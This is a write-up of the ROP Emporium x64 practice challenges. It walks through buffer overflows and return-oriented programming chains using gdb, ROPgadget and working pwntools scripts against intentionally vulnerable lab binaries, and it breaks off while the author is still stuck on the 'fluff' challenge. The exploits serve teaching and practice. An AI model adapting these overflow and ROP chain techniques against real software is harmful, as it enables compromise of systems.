Introduction

This book is all about Write-ups in ROP Emporium x64 challenges.

Brief introduction about ROP and ROP Emporium

What is ROP

ROP or Return Oriented Programming is a technique that is used when we have the control over the return address of a function to redirect and craft our own program using instructions that is presented in the binary or the library that is imported to the binary. these instructions are called Gadgets and when chained together they're called ROP chain.

What is ROP Emporium

ROP Emporium is a website that provides a series of challenges that teachs us ROP techniques in exploitation.

1. ret2win

the first challenge of ROP Emporium serie.
this challenge wants us to locate a method that will lead us to get the flag.

so let's started off by looking at functions in gdb

gef➤  info functions
All defined functions:

Non-debugging symbols:
0x0000000000400528  _init
0x0000000000400550  puts@plt
0x0000000000400560  system@plt
0x0000000000400570  printf@plt
0x0000000000400580  memset@plt
0x0000000000400590  read@plt
0x00000000004005a0  setvbuf@plt
0x00000000004005b0  _start
0x00000000004005e0  _dl_relocate_static_pie
0x00000000004005f0  deregister_tm_clones
0x0000000000400620  register_tm_clones
0x0000000000400660  __do_global_dtors_aux
0x0000000000400690  frame_dummy
0x0000000000400697  main
0x00000000004006e8  pwnme
0x0000000000400756  ret2win
0x0000000000400780  __libc_csu_init
0x00000000004007f0  __libc_csu_fini
0x00000000004007f4  _fini

we can see that there are multiple functions such as pwnme and ret2win, let's see pwnme first.

gef➤  disas pwnme
Dump of assembler code for function pwnme:
   0x00000000004006e8 <+0>:     push   rbp
   0x00000000004006e9 <+1>:     mov    rbp,rsp
   0x00000000004006ec <+4>:     sub    rsp,0x20
   0x00000000004006f0 <+8>:     lea    rax,[rbp-0x20]
   0x00000000004006f4 <+12>:    mov    edx,0x20
   0x00000000004006f9 <+17>:    mov    esi,0x0
   0x00000000004006fe <+22>:    mov    rdi,rax
   0x0000000000400701 <+25>:    call   0x400580 <memset@plt>
   0x0000000000400706 <+30>:    mov    edi,0x400838
   0x000000000040070b <+35>:    call   0x400550 <puts@plt>
   0x0000000000400710 <+40>:    mov    edi,0x400898
   0x0000000000400715 <+45>:    call   0x400550 <puts@plt>
   0x000000000040071a <+50>:    mov    edi,0x4008b8
   0x000000000040071f <+55>:    call   0x400550 <puts@plt>
   0x0000000000400724 <+60>:    mov    edi,0x400918
   0x0000000000400729 <+65>:    mov    eax,0x0
   0x000000000040072e <+70>:    call   0x400570 <printf@plt>
   0x0000000000400733 <+75>:    lea    rax,[rbp-0x20]
   0x0000000000400737 <+79>:    mov    edx,0x38
   0x000000000040073c <+84>:    mov    rsi,rax
   0x000000000040073f <+87>:    mov    edi,0x0
   0x0000000000400744 <+92>:    call   0x400590 <read@plt>
   0x0000000000400749 <+97>:    mov    edi,0x40091b
   0x000000000040074e <+102>:   call   0x400550 <puts@plt>
   0x0000000000400753 <+107>:   nop
   0x0000000000400754 <+108>:   leave
   0x0000000000400755 <+109>:   ret
End of assembler dump.

there's a memory allocation of 0x20 bytes. and there's a read that uses the buffer of 0x20 allocated earlier so there's clearly a buffer overflow going on.

with this knowledge let's try to input 0x20 + 0x8 bytes and then the address of the function we want to call, and let's call ret2win function.

but first let's look at the content of ret2win function.

gef➤  disas ret2win
Dump of assembler code for function ret2win:
   0x0000000000400756 <+0>:     push   rbp
   0x0000000000400757 <+1>:     mov    rbp,rsp
   0x000000000040075a <+4>:     mov    edi,0x400926
   0x000000000040075f <+9>:     call   0x400550 <puts@plt>
   0x0000000000400764 <+14>:    mov    edi,0x400943
   0x0000000000400769 <+19>:    call   0x400560 <system@plt>
   0x000000000040076e <+24>:    nop
   0x000000000040076f <+25>:    pop    rbp
   0x0000000000400770 <+26>:    ret
End of assembler dump.

we can see that there's a call to system but what's the argument exactly?

gef➤  x/s 0x400943
0x400943:       "/bin/cat flag.txt"

ah!, so the function is used to cat the flag out so let's craft our payload and call it now!

from pwn import *

p = process("./ret2win")

p.sendline(b"A"*40 + p64(0x400757))

print(p.recvall().decode("utf-8"))

and here's the result.

┌──(kali㉿kali)-[~/ctf/rop/ret2win]
└─$ python solve.py
[+] Starting local process './ret2win': pid 2756
[+] Receiving all data: Done (329B)
[*] Process './ret2win' stopped with exit code 0 (pid 2756)
ret2win by ROP Emporium
x86_64

For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!

> Thank you!
Well done! Here's your flag:
ROPE{a_placeholder_32byte_flag!}

here we go there's the flag!

2. split

the second challenge, now the element of the first challenge is still present in this challenge but the string "/bin/cat flag.txt" is not in the same function as the first challenge, we have to somehow find the string and put it in the register and call the system function.

in this challenge the binary is NX enabled so we can't just execute the stack. now we really need to use ROP to solve the challenge, we can check the binary permissions using rabin2 or checksec, I'll use rabin2 here.

┌──(kali㉿kali)-[~/ctf/rop/split]
└─$ rabin2 -I split
arch     x86
baddr    0x400000
binsz    6805
bintype  elf
bits     64
canary   false
class    ELF64
compiler GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0
crypto   false
endian   little
havecode true
intrp    /lib64/ld-linux-x86-64.so.2
laddr    0x0
lang     c
linenum  true
lsyms    true
machine  AMD x86-64 architecture
nx       true
os       linux
pic      false
relocs   true
relro    partial
rpath    NONE
sanitize false
static   false
stripped false
subsys   linux
va       true

now, let's investigate the binary using gdb.

gef➤  info functions
All defined functions:

Non-debugging symbols:
0x0000000000400528  _init
0x0000000000400550  puts@plt
0x0000000000400560  system@plt
0x0000000000400570  printf@plt
0x0000000000400580  memset@plt
0x0000000000400590  read@plt
0x00000000004005a0  setvbuf@plt
0x00000000004005b0  _start
0x00000000004005e0  _dl_relocate_static_pie
0x00000000004005f0  deregister_tm_clones
0x0000000000400620  register_tm_clones
0x0000000000400660  __do_global_dtors_aux
0x0000000000400690  frame_dummy
0x0000000000400697  main
0x00000000004006e8  pwnme
0x0000000000400742  usefulFunction
0x0000000000400760  __libc_csu_init
0x00000000004007d0  __libc_csu_fini
0x00000000004007d4  _fini

interesting, what's inside the usefulFunction..?

gef➤  disas usefulFunction
Dump of assembler code for function usefulFunction:
   0x0000000000400742 <+0>:     push   rbp
   0x0000000000400743 <+1>:     mov    rbp,rsp
   0x0000000000400746 <+4>:     mov    edi,0x40084a
   0x000000000040074b <+9>:     call   0x400560 <system@plt>
   0x0000000000400750 <+14>:    nop
   0x0000000000400751 <+15>:    pop    rbp
   0x0000000000400752 <+16>:    ret
End of assembler dump.

oh, so it's pretty similar to the ret2win function from the previous challenge what's the string being put in the register let's see...

gef➤  x/s 0x40084a
0x40084a:       "/bin/ls"

ah, so it's just a function to call ls using the system, I'm sure this function is present for the binary to present system inside the binary.

now, let's find some useful strings in the binary using rabin2.

┌──(kali㉿kali)-[~/ctf/rop/split]
└─$ rabin2 -z split
[Strings]
nth paddr      vaddr      len size section type  string
―――――――――――――――――――――――――――――――――――――――――――――――――――――――
0   0x000007e8 0x004007e8 21  22   .rodata ascii split by ROP Emporium
1   0x000007fe 0x004007fe 7   8    .rodata ascii x86_64\n
2   0x00000806 0x00400806 8   9    .rodata ascii \nExiting
3   0x00000810 0x00400810 43  44   .rodata ascii Contriving a reason to ask user for data...
4   0x0000083f 0x0040083f 10  11   .rodata ascii Thank you!
5   0x0000084a 0x0040084a 7   8    .rodata ascii /bin/ls
0   0x00001060 0x00601060 17  18   .data   ascii /bin/cat flag.txt

rabin2 is pretty cool that it also tell us the string address.

okay, let's find ROP gadgets to craft our ROP chain, I'll be using ROPgadget to do that. but first let's see what do we need to craft our ROP chain.

first we need to set rdi register to the address of the string we want to use. then we need to call the system function. easy enough let's find it.

┌──(kali㉿kali)-[~/ctf/rop/split]
└─$ ROPgadget --binary split | grep rdi
0x0000000000400288 : loope 0x40025a ; sar dword ptr [rdi - 0x5133700c], 0x1d ; retf 0xe99e
0x00000000004007c3 : pop rdi ; ret
0x000000000040028a : sar dword ptr [rdi - 0x5133700c], 0x1d ; retf 0xe99e

we got both the system function address and our gadget now let's craft our ROP chain.

from pwn import *

p = process("./split")

padding = b"X"*40
shell_str_addr = 0x601060
system_addr = 0x400560
pop_rdi = 0x4007c3

payload = padding + p64(pop_rdi) + p64(shell_str_addr) + p64(system_addr)

p.sendline(payload)
print(p.recvall().decode("utf-8"))

here we go...

┌──(kali㉿kali)-[~/ctf/rop/split]
└─$ python write-up.py
[+] Starting local process './split': pid 3485
[+] Receiving all data: Done (87B)
[*] Stopped process './split' (pid 3485)
split by ROP Emporium
x86_64

Contriving a reason to ask user for data...
> Thank you!

huh? what happened why don't we get our flag let's investigate some more by attaching gdb to the process.

let's edit our script a bit.

from pwn import *

p = process("./split")
script = """
break *0x400560
"""

gdb.attach(p, gdbscript=script)

padding = b"X"*40
shell_str_addr = 0x601060
system_addr = 0x400560
pop_rdi = 0x4007c3

payload = padding + p64(pop_rdi) + p64(shell_str_addr) + p64(system_addr)

p.sendline(payload)
print(p.recvall().decode("utf-8"))

now let's debug!

     0x400550 <puts@plt+0>     jmp    QWORD PTR [rip+0x200ac2]        # 0x601018 <puts@got.plt>
     0x400556 <puts@plt+6>     push   0x0
     0x40055b <puts@plt+11>    jmp    0x400540
●→   0x400560 <system@plt+0>   jmp    QWORD PTR [rip+0x200aba]        # 0x601020 <system@got.plt>
     0x400566 <system@plt+6>   push   0x1
     0x40056b <system@plt+11>  jmp    0x400540
     0x400570 <printf@plt+0>   jmp    QWORD PTR [rip+0x200ab2]        # 0x601028 <printf@got.plt>
     0x400576 <printf@plt+6>   push   0x2
     0x40057b <printf@plt+11>  jmp    0x400540
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "split", stopped 0x400560 in system@plt (), reason: BREAKPOINT

breakpoint hit let's step into it.

────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x7f05949535f4 <do_system+324>  mov    QWORD PTR [rsp+0x60], r12
   0x7f05949535f9 <do_system+329>  mov    r9, QWORD PTR [rax]
   0x7f05949535fc <do_system+332>  lea    rsi, [rip+0x149a4c]        # 0x7f0594a9d04f
 → 0x7f0594953603 <do_system+339>  movaps XMMWORD PTR [rsp+0x50], xmm0
   0x7f0594953608 <do_system+344>  mov    QWORD PTR [rsp+0x68], 0x0
   0x7f0594953611 <do_system+353>  call   0x7f05949fd230 <__GI___posix_spawn>
   0x7f0594953616 <do_system+358>  mov    rdi, rbx
   0x7f0594953619 <do_system+361>  mov    r12d, eax
   0x7f059495361c <do_system+364>  call   0x7f05949fd130 <__posix_spawnattr_destroy>
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "split", stopped 0x7f0594953603 in do_system (), reason: SIGSEGV

why did we get SIGSEGV here, interesting...
after some reasearching i found this:

The MOVAPS issue If you're segfaulting on a movaps instruction in buffered_vfprintf() or do_system() in the x86_64 challenges, then ensure the stack is 16-byte aligned before returning to GLIBC functions such as printf() or system(). Some versions of GLIBC uses movaps instructions to move data onto the stack in certain functions. The 64 bit calling convention requires the stack to be 16-byte aligned before a call instruction but this is easily violated during ROP chain execution, causing all further calls from that function to be made with a misaligned stack. movaps triggers a general protection fault when operating on unaligned data, so try padding your ROP chain with an extra ret before returning into a function or return further into a function to skip a push instruction.

so basically our rsp is not 16-byte aligned before calling do_system, we can check that by listing our registers.

gef➤  info registers
rax            0x7f0594ae2320      0x7f0594ae2320
rbx            0x7ffdb45c3948      0x7ffdb45c3948
rcx            0x7ffdb45c3948      0x7ffdb45c3948
rdx            0x0                 0x0
rsi            0x7f0594a9d04f      0x7f0594a9d04f
rdi            0x7ffdb45c3744      0x7ffdb45c3744
rbp            0x7ffdb45c37a8      0x7ffdb45c37a8
rsp            0x7ffdb45c3738      0x7ffdb45c3738
r8             0x7ffdb45c3788      0x7ffdb45c3788
r9             0x7ffdb45c3be8      0x7ffdb45c3be8
r10            0x8                 0x8

see? our rsp ends with 0x8 which means our stack is not 16-byte aligned.

so we need to make our rsp 16-byte aligned. let's find extra ret to do that.

0x000000000040053e : ret

cool!, now let's pad our ROP to make our rsp 16-byte aligned.

from pwn import *

p = process("./split")
script = """
break *0x400560
"""

gdb.attach(p, gdbscript=script)

padding = b"X"*40
shell_str_addr = 0x601060
system_addr = 0x400560
pop_rdi = 0x4007c3
ret = 0x40053e

payload = padding + p64(pop_rdi) + p64(shell_str_addr) + p64(ret) + p64(system_addr)

p.sendline(payload)
print(p.recvall().decode("utf-8"))

this should work now let's try it!.

┌──(kali㉿kali)-[~/ctf/rop/split]
└─$ python write-up.py
[+] Starting local process './split': pid 3742
[*] running in new terminal: ['/usr/bin/gdb', '-q', './split', '3742', '-x', '/tmp/pwnobnrixxs.gdb']                                   [+] Waiting for debugger: Done
[+] Receiving all data: Done (120B)
[*] Stopped process './split' (pid 3742)
split by ROP Emporium
x86_64

Contriving a reason to ask user for data...
> Thank you!
ROPE{a_placeholder_32byte_flag!}

let's go! we got the flag!!!

3. callme

the third challenge, this challenge wants us to make consecutive function calls from plt.

You must call the callme_one(), callme_two() and callme_three() functions in that order, each with the arguments 0xdeadbeef, 0xcafebabe, 0xd00df00d e.g. callme_one(0xdeadbeef, 0xcafebabe, 0xd00df00d) to print the flag. For the x86_64 binary double up those values, e.g. callme_one(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d)

so let's begin finding the function address and gadgets we want to use.

using rabin2

┌──(kali㉿kali)-[~/ctf/rop/callme]
└─$ rabin2 -i callme
[Imports]
nth vaddr      bind   type   lib name
―――――――――――――――――――――――――――――――――――――
1   0x004006d0 GLOBAL FUNC       puts
2   0x004006e0 GLOBAL FUNC       printf
3   0x004006f0 GLOBAL FUNC       callme_three
4   0x00400700 GLOBAL FUNC       memset
5   0x00400710 GLOBAL FUNC       read
6   0x00000000 GLOBAL FUNC       __libc_start_main
7   0x00400720 GLOBAL FUNC       callme_one
8   0x00000000 WEAK   NOTYPE     __gmon_start__
9   0x00400730 GLOBAL FUNC       setvbuf
10  0x00400740 GLOBAL FUNC       callme_two
11  0x00400750 GLOBAL FUNC       exit

now, since we are in x64 challenge we have to know the calling convention so we can supply the correct arguments.

we have to set rdi, rsi, rdx in order to call a function with 3 parameters. let's find the gadgets for this. also don't forget to look into the usefulGadgets and usefulFunction in the binary.

gef➤  disas usefulFunction
Dump of assembler code for function usefulFunction:
   0x00000000004008f2 <+0>:	push   rbp
   0x00000000004008f3 <+1>:	mov    rbp,rsp
   0x00000000004008f6 <+4>:	mov    edx,0x6
   0x00000000004008fb <+9>:	mov    esi,0x5
   0x0000000000400900 <+14>:	mov    edi,0x4
   0x0000000000400905 <+19>:	call   0x4006f0 <callme_three@plt>
   0x000000000040090a <+24>:	mov    edx,0x6
   0x000000000040090f <+29>:	mov    esi,0x5
   0x0000000000400914 <+34>:	mov    edi,0x4
   0x0000000000400919 <+39>:	call   0x400740 <callme_two@plt>
   0x000000000040091e <+44>:	mov    edx,0x6
   0x0000000000400923 <+49>:	mov    esi,0x5
   0x0000000000400928 <+54>:	mov    edi,0x4
   0x000000000040092d <+59>:	call   0x400720 <callme_one@plt>
   0x0000000000400932 <+64>:	mov    edi,0x1
   0x0000000000400937 <+69>:	call   0x400750 <exit@plt>
End of assembler dump.
gef➤  disas usefulGadgets
Dump of assembler code for function usefulGadgets:
   0x000000000040093c <+0>:	pop    rdi
   0x000000000040093d <+1>:	pop    rsi
   0x000000000040093e <+2>:	pop    rdx
   0x000000000040093f <+3>:	ret
End of assembler dump.

let's use ROPgadget to find the gadgets we needed.

┌──(kali㉿kali)-[~/ctf/rop/callme]
└─$ ROPgadget --binary callme | grep rdi
0x0000000000400a3d : add byte ptr [rax], al ; add byte ptr [rbp + rdi*8 - 1], ch ; call qword ptr [rax + 0x23000000]
0x0000000000400a3f : add byte ptr [rbp + rdi*8 - 1], ch ; call qword ptr [rax + 0x23000000]
0x0000000000400a3c : add byte ptr fs:[rax], al ; add byte ptr [rbp + rdi*8 - 1], ch ; call qword ptr [rax + 0x23000000]
0x000000000040093c : pop rdi ; pop rsi ; pop rdx ; ret
0x00000000004009a3 : pop rdi ; ret

thanks to the usefulGadgets function.

now, since we already know what are the parameters needed to be supply let's craft the payload.

from pwn import *

p = process("./callme")

padding = b"X"*40
call_one = 0x400720
call_two = 0x400740
call_three = 0x4006f0

arg_1 = 0xdeadbeefdeadbeef
arg_2 = 0xcafebabecafebabe
arg_3 = 0xd00df00dd00df00d

pop_rdi_rsi_rdx = 0x40093c

set_reg = p64(pop_rdi_rsi_rdx) + p64(arg_1) + p64(arg_2)  + p64(arg_3)
payload = padding + set_reg + p64(call_one) + set_reg + p64(call_two) + set_reg + p64(call_three)

p.sendline(payload)
print(p.recvall().decode("utf-8"))

let's run it.

┌──(kali㉿kali)-[~/ctf/rop/callme]
└─$ python solve.py
[+] Starting local process './callme': pid 1230
[*] Switching to interactive mode
callme by ROP Emporium
[*] Process './callme' stopped with exit code 0 (pid 1230)
x86_64

Hope you read the instructions...

> Thank you!
callme_one() called correctly
callme_two() called correctly
ROPE{a_placeholder_32byte_flag!}

nice.

4. write4

the forth challenge, this challenge is a little bit different from the others previously.
in this challenge, the binary provided a function to print_file for us, but there's no "flag.txt" string in the binary, so we somehow have to write "flag.txt" into the binary ourselve.
so how do we write into the memory? there's an instruction that we can use such as mov [reg], reg that allow us to write a value into the memory.

so where do we write the string into? let's check the binary for sections we can write into and section that when we write into will not cause us any problems if we need some kind of stability in our exploit.

┌──(kali㉿kali)-[~/ctf/rop/write4]
└─$ rabin2 -S write4
[Sections]

nth paddr        size vaddr       vsize perm name
―――――――――――――――――――――――――――――――――――――――――――――――――
---
18  0x00000df0    0x8 0x00600df0    0x8 -rw- .init_array
19  0x00000df8    0x8 0x00600df8    0x8 -rw- .fini_array
20  0x00000e00  0x1f0 0x00600e00  0x1f0 -rw- .dynamic
21  0x00000ff0   0x10 0x00600ff0   0x10 -rw- .got
22  0x00001000   0x28 0x00601000   0x28 -rw- .got.plt
23  0x00001028   0x10 0x00601028   0x10 -rw- .data
24  0x00001038    0x0 0x00601038    0x8 -rw- .bss ---

so here are sections that we can write into, its size and address. i will choose to write into .data here since it doesn't interfere with anything in the binary (maybe???).

let's find gadgets for this exploit. let's look into what's inside the usefulFunction and usefulGadgets

┌──(kali㉿kali)-[~/ctf/rop/write4]
└─$ objdump -M intel --disassemble=usefulFunction -S write4
---
0000000000400617 <usefulFunction>:
  400617:       55                      push   rbp
  400618:       48 89 e5                mov    rbp,rsp
  40061b:       bf b4 06 40 00          mov    edi,0x4006b4
  400620:       e8 eb fe ff ff          call   400510 <print_file@plt>
  400625:       90                      nop
  400626:       5d                      pop    rbp
  400627:       c3                      ret
---
┌──(kali㉿kali)-[~/ctf/rop/write4]
└─$ objdump -M intel --disassemble=usefulGadgets -S write4
---
0000000000400628 <usefulGadgets>:
  400628:       4d 89 3e                mov    QWORD PTR [r14],r15
  40062b:       c3                      ret
  40062c:       0f 1f 40 00             nop    DWORD PTR [rax+0x0]
---

we can see there's and instruction to write r15 in the address of r14 let's find gadgets to get this done.

┌──(kali㉿kali)-[~/ctf/rop/write4]
└─$ ROPgadget --binary write4 | grep r14
0x0000000000400628 : mov qword ptr [r14], r15 ; ret
0x000000000040068c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040068e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400690 : pop r14 ; pop r15 ; ret
0x000000000040068b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040068f : pop rbp ; pop r14 ; pop r15 ; ret
0x000000000040068d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret

pop r14 ; pop r15 ; ret and mov qword ptr [r14], r15 ; ret nice.

let's chain them together now!

from pwn import *

padding = b"x"*40
pop_r14_r15 = 0x400690
mov_r14_r15 = 0x400628
print_file = 0x400510
pop_rdi = 0x400693
data_sec = 0x601028

file_to_print = b"flag.txt"

p = process("./write4")

payload = padding + p64(pop_r14_r15) + p64(data_sec) + file_to_print + p64(mov_r14_r15) + p64(pop_rdi) + p64(data_sec) + p64(print_file)

p.sendline(payload)

print(p.recvall().decode("utf-8"))

result:

┌──(kali㉿kali)-[~/ctf/rop/write4]
└─$ python solve.py
[+] Starting local process './write4': pid 2004
[*] Switching to interactive mode
write4 by ROP Emporium
x86_64

Go ahead and give me the input already!

> Thank you!
ROPE{a_placeholder_32byte_flag!}

nicesu nicesu!!

5. badchars

the fifth challenge, it is pretty similar to the previous challenge write4 but this time, the input is processed and turned some byte into a bad character.

the challenge showed us the bad characters which are 'x', 'g', 'a', '.'.

with this knowledege let's find the gadgets and see what we can do using ROPgadget.

0x0000000000400634 : mov qword ptr [r13], r12 ; ret
0x000000000040069c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006a3 : pop rdi ; ret

these are some gadgets that i find useful for us to use create this ROP chain.

now let's find where do we write to.

┌──(kali㉿kali)-[~/ctf/rop/badchars]
└─$ rabin2 -S badchars
[Sections]

nth paddr        size vaddr       vsize perm name
―――――――――――――――――――――――――――――――――――――――――――――――――
18  0x00000df0    0x8 0x00600df0    0x8 -rw- .init_array
19  0x00000df8    0x8 0x00600df8    0x8 -rw- .fini_array
20  0x00000e00  0x1f0 0x00600e00  0x1f0 -rw- .dynamic
21  0x00000ff0   0x10 0x00600ff0   0x10 -rw- .got
22  0x00001000   0x28 0x00601000   0x28 -rw- .got.plt
23  0x00001028   0x10 0x00601028   0x10 -rw- .data
24  0x00001038    0x0 0x00601038    0x8 -rw- .bss

.data seems okay so let's use that.

let's make the script.

from pwn import *

padding = b"x"*40

print_file = 0x400510

pop_r1 = 0x40069c
mov_r13_r12 = 0x400634
pop_rdi = 0x4006a3

data_sec = 0x601028

file_to_print = b"flag.txt"

p = process("./badchars")

gdb.attach(p, "break print_file")

payload = padding + p64(pop_r1) + file_to_print + p64(data_sec) + p64(0xaaaaaaaa) + p64(0xaaaaaaaa) + p64(mov_r13_r12)
payload += p64(pop_rdi) + p64(data_sec) + p64(print_file)

p.sendline(payload)

p.interactive()

let's try it and see what will happen to our flag.txt string...

gef➤  x/s 0x601028
0x601028:       "fl\353\353\353t\353t"
gef➤  x/2xg 0x601028
0x601028:       0x74eb74ebebeb6c66      0x0000000000000000

so this happened to our string, the character that are in the list of bad chars get replaced by 0xeb.

our ROP chain doesn't seem to be broken so lucky for us, now that we have this info what can we do? since some of the string are still intact we can just use some gadgets to replace the bad bytes, let's find them. oh wait i forgot to look into the usefulGadgets function so let's do that first.

┌──(kali㉿kali)-[~/ctf/rop/badchars]
└─$ objdump -M intel --disassemble=usefulGadgets -S badchars

badchars:     file format elf64-x86-64

0000000000400628 <usefulGadgets>:
  400628:       45 30 37                xor    BYTE PTR [r15],r14b
  40062b:       c3                      ret
  40062c:       45 00 37                add    BYTE PTR [r15],r14b
  40062f:       c3                      ret
  400630:       45 28 37                sub    BYTE PTR [r15],r14b
  400633:       c3                      ret
  400634:       4d 89 65 00             mov    QWORD PTR [r13+0x0],r12
  400638:       c3                      ret
  400639:       0f 1f 80 00 00 00 00    nop    DWORD PTR [rax+0x0]

i see, so we have xor, add and sub instructions for us to use byte by byte. i decided to use xor here.

let's craft our new payload to fix the bad chars in memory.

from pwn import *

def findXor(x, badbyte = 0xeb):
    for i in range(255):
        if i ^ badbyte == x:
            return i
    return 0

badbyte = 0xeb

padding = b"x"*40

print_file = 0x400510

pop_r1 = 0x40069c
mov_r13_r12 = 0x400634
pop_rdi = 0x4006a3
pop_r14_r15 = 0x4006a0
xor_r15_r14 = 0x400628
sub_r15_r14 = 0x400630

data_sec = 0x601028

file_to_print = b"flag.txt"

p = process("./badchars")

gdb.attach(p, "break print_file")

fixBadbyte = lambda char, addr : p64(pop_r14_r15) + p64(findXor(ord(char))) + p64(addr) + p64(xor_r15_r14)

payload = padding + p64(pop_r1) + file_to_print + p64(data_sec) + p64(findXor(ord("a")))
payload += p64(data_sec + 2) + p64(mov_r13_r12) + p64(xor_r15_r14) + fixBadbyte("g", data_sec + 3)
payload += fixBadbyte(".", data_sec + 4) + fixBadbyte("x", data_sec + 6) + p64(pop_rdi) + p64(data_sec) + p64(print_file)

p.sendline(payload)

p.interactive()

this should work...

┌──(kali㉿kali)-[~/ctf/rop/badchars]
└─$ python solve.py
[+] Starting local process './badchars': pid 965
[*] running in new terminal: ['/usr/bin/gdb', '-q', './badchars', '965', '-x', '/tmp/pwnms4tsxy0.gdb']
[+] Waiting for debugger: Done
[*] Switching to interactive mode
badchars by ROP Emporium
x86_64

badchars are: 'x', 'g', 'a', '.'
> Thank you!
Failed to open file: flag.t\xebt
$                           [*] Got EOF while reading in interactive

hold on why is that? why is the character x doesn't get fixed? maybe our rop chain is broken so let's see.

fixBadbyte("x", data_sec + 6) is where we fix the bad char for x since we know that addresses also get affected by the bad chars filter, so something goes wrong here, maybe the address??

we know our .data section is 0x601028 since we +6 the address is 0x601028 + 6 = 0x60102e and it includes one of the bad bytes which is 0x2e. so what can we do here...

how about we shift the address of .data by one so that our ROP chain doesn't use 0x60102e any more but instead we use 0x60102f, sounds great! let's do just that.

from pwn import *

def findXor(x, badbyte = 0xeb):
    for i in range(255):
        if i ^ badbyte == x:
            return i
    return 0

badbyte = 0xeb

padding = b"x"*40

print_file = 0x400510

pop_r1 = 0x40069c
mov_r13_r12 = 0x400634
pop_rdi = 0x4006a3
pop_r14_r15 = 0x4006a0
xor_r15_r14 = 0x400628
sub_r15_r14 = 0x400630

data_sec = 0x601029

file_to_print = b"flag.txt"

p = process("./badchars")

gdb.attach(p, "break print_file")

fixBadbyte = lambda char, addr : p64(pop_r14_r15) + p64(findXor(ord(char))) + p64(addr) + p64(xor_r15_r14)

payload = padding + p64(pop_r1) + file_to_print + p64(data_sec) + p64(findXor(ord("a")))
payload += p64(data_sec + 2) + p64(mov_r13_r12) + p64(xor_r15_r14) + fixBadbyte("g", data_sec + 3)
payload += fixBadbyte(".", data_sec + 4) + fixBadbyte("x", data_sec + 6) + p64(pop_rdi) + p64(data_sec) + p64(print_file)

p.sendline(payload)

p.interactive()

let's run it

┌──(kali㉿kali)-[~/ctf/rop/badchars]
└─$ python solve.py
[+] Starting local process './badchars': pid 1008
[*] running in new terminal: ['/usr/bin/gdb', '-q', './badchars', '1008', '-x', '/tmp/pwn6i7nie6c.gdb']
[+] Waiting for debugger: Done
[*] Switching to interactive mode
badchars by ROP Emporium
x86_64

badchars are: 'x', 'g', 'a', '.'
> Thank you!
ROPE{a_placeholder_32byte_flag!}

nicesu!!!

6. fluff

the sixth challenge, the most difficult challenge by far and it took me roughly 2 days to complete.

this challenge is similar to write4 but now, we need to use more uncommon instructions to write the string into memory, the function print_file is still present in the binary.

the binary doesn't contain the usual instructions such as mov [reg], reg for us to use to write into memory, so let's inspect into the binary and see what we can do.

gef➤  i func
All defined functions:

Non-debugging symbols:
0x00000000004004d0  _init
0x0000000000400500  pwnme@plt
0x0000000000400510  print_file@plt
0x0000000000400520  _start
0x0000000000400550  _dl_relocate_static_pie
0x0000000000400560  deregister_tm_clones
0x0000000000400590  register_tm_clones
0x00000000004005d0  __do_global_dtors_aux
0x0000000000400600  frame_dummy
0x0000000000400607  main
0x0000000000400617  usefulFunction
0x0000000000400628  questionableGadgets
0x0000000000400640  __libc_csu_init
0x00000000004006b0  __libc_csu_fini
0x00000000004006b4  _fini

what is questionableGadgets??

gef➤  disas questionableGadgets
Dump of assembler code for function questionableGadgets:
   0x0000000000400628 <+0>:     xlat   BYTE PTR ds:[rbx]
   0x0000000000400629 <+1>:     ret
   0x000000000040062a <+2>:     pop    rdx
   0x000000000040062b <+3>:     pop    rcx
   0x000000000040062c <+4>:     add    rcx,0x3ef2
   0x0000000000400633 <+11>:    bextr  rbx,rcx,rdx
   0x0000000000400638 <+16>:    ret
   0x0000000000400639 <+17>:    stos   BYTE PTR es:[rdi],al
   0x000000000040063a <+18>:    ret
   0x000000000040063b <+19>:    nop    DWORD PTR [rax+rax*1+0x0]
End of assembler dump.

what is xlat??? and what is bextr and stos?? that's the question i got from reading what's inside the function, let's read the documentation for them.

what is xlat?

xlat or Table Look-up Translation is an instruction that uses [rbx] for an address to memory and al for an index and then set the value into al register essentially it's like an array we will find in a typical programming language.

for example, we have rbx point to 0x400000 and al as a value of 0x4, if we have a string in memory at 0x400000 that is "Hello, Ropper" we will get "o" or 0x6f set to al register after the instruction is completed.

what is bextr?

bextr or Bit Field Extract is an instruction that extracts a bits from a source register (second operand) and put it into a destination register where length and offset is set on the third operand where bit 7:0 is the offset and bit 15:8 is the length.

an example from stackoverflow

Say the starting bit is 5 and the length is 9. we have

Input : 11010010001110101010110011011010 = 0xd23aacda
                          |-------|
                              \
                               \
                                \
                                 v
                               |-------|
Output: 00000000000000000000000101100110 = 0x00000166

what is stos?

stos or Store String is an instruction that stores al register into the address of [rdi]. this instruction is pretty straightforward and self-explainatory.

so, we have an instruction to get a string to a memory from [rbx] to al, we have an instruction to get value of rcx into rbx and an instruction to store al into [rdi].

we can see where this is going. we can write al into specific memory address with [rdi], we can set al to something with [rbx + al] and lastly, we can control rbx with bextr, all good right? well not quite...

how do we know where to point rbx to get a string we want???

i stuck here for a while and i came up with an idea, how about we select the string from the printed strings that.

┌──(kali㉿kali)-[~/ctf/rop/fluff]
└─$ ./fluff
fluff by ROP Emporium
x86_64

You know changing these strings means I have to rewrite my solutions...
>

as you can see here we have all the characters we wanted for the string flag.txt can we just point rbx to that right? well, as simple as it might sound it's actually impossible for me to do since the binary has patially RELRO, and those strings live inside an imported library, ahhhhhhhhhh...

but wait, we can just leak the library address right since we can do pretty much all we want, well, the binary doesn't import any other things except the library that is provided by the challenge.

so we can't leak the address of the library to point it to the printed strings in the beginning.

i stuck here for the rest of the day.

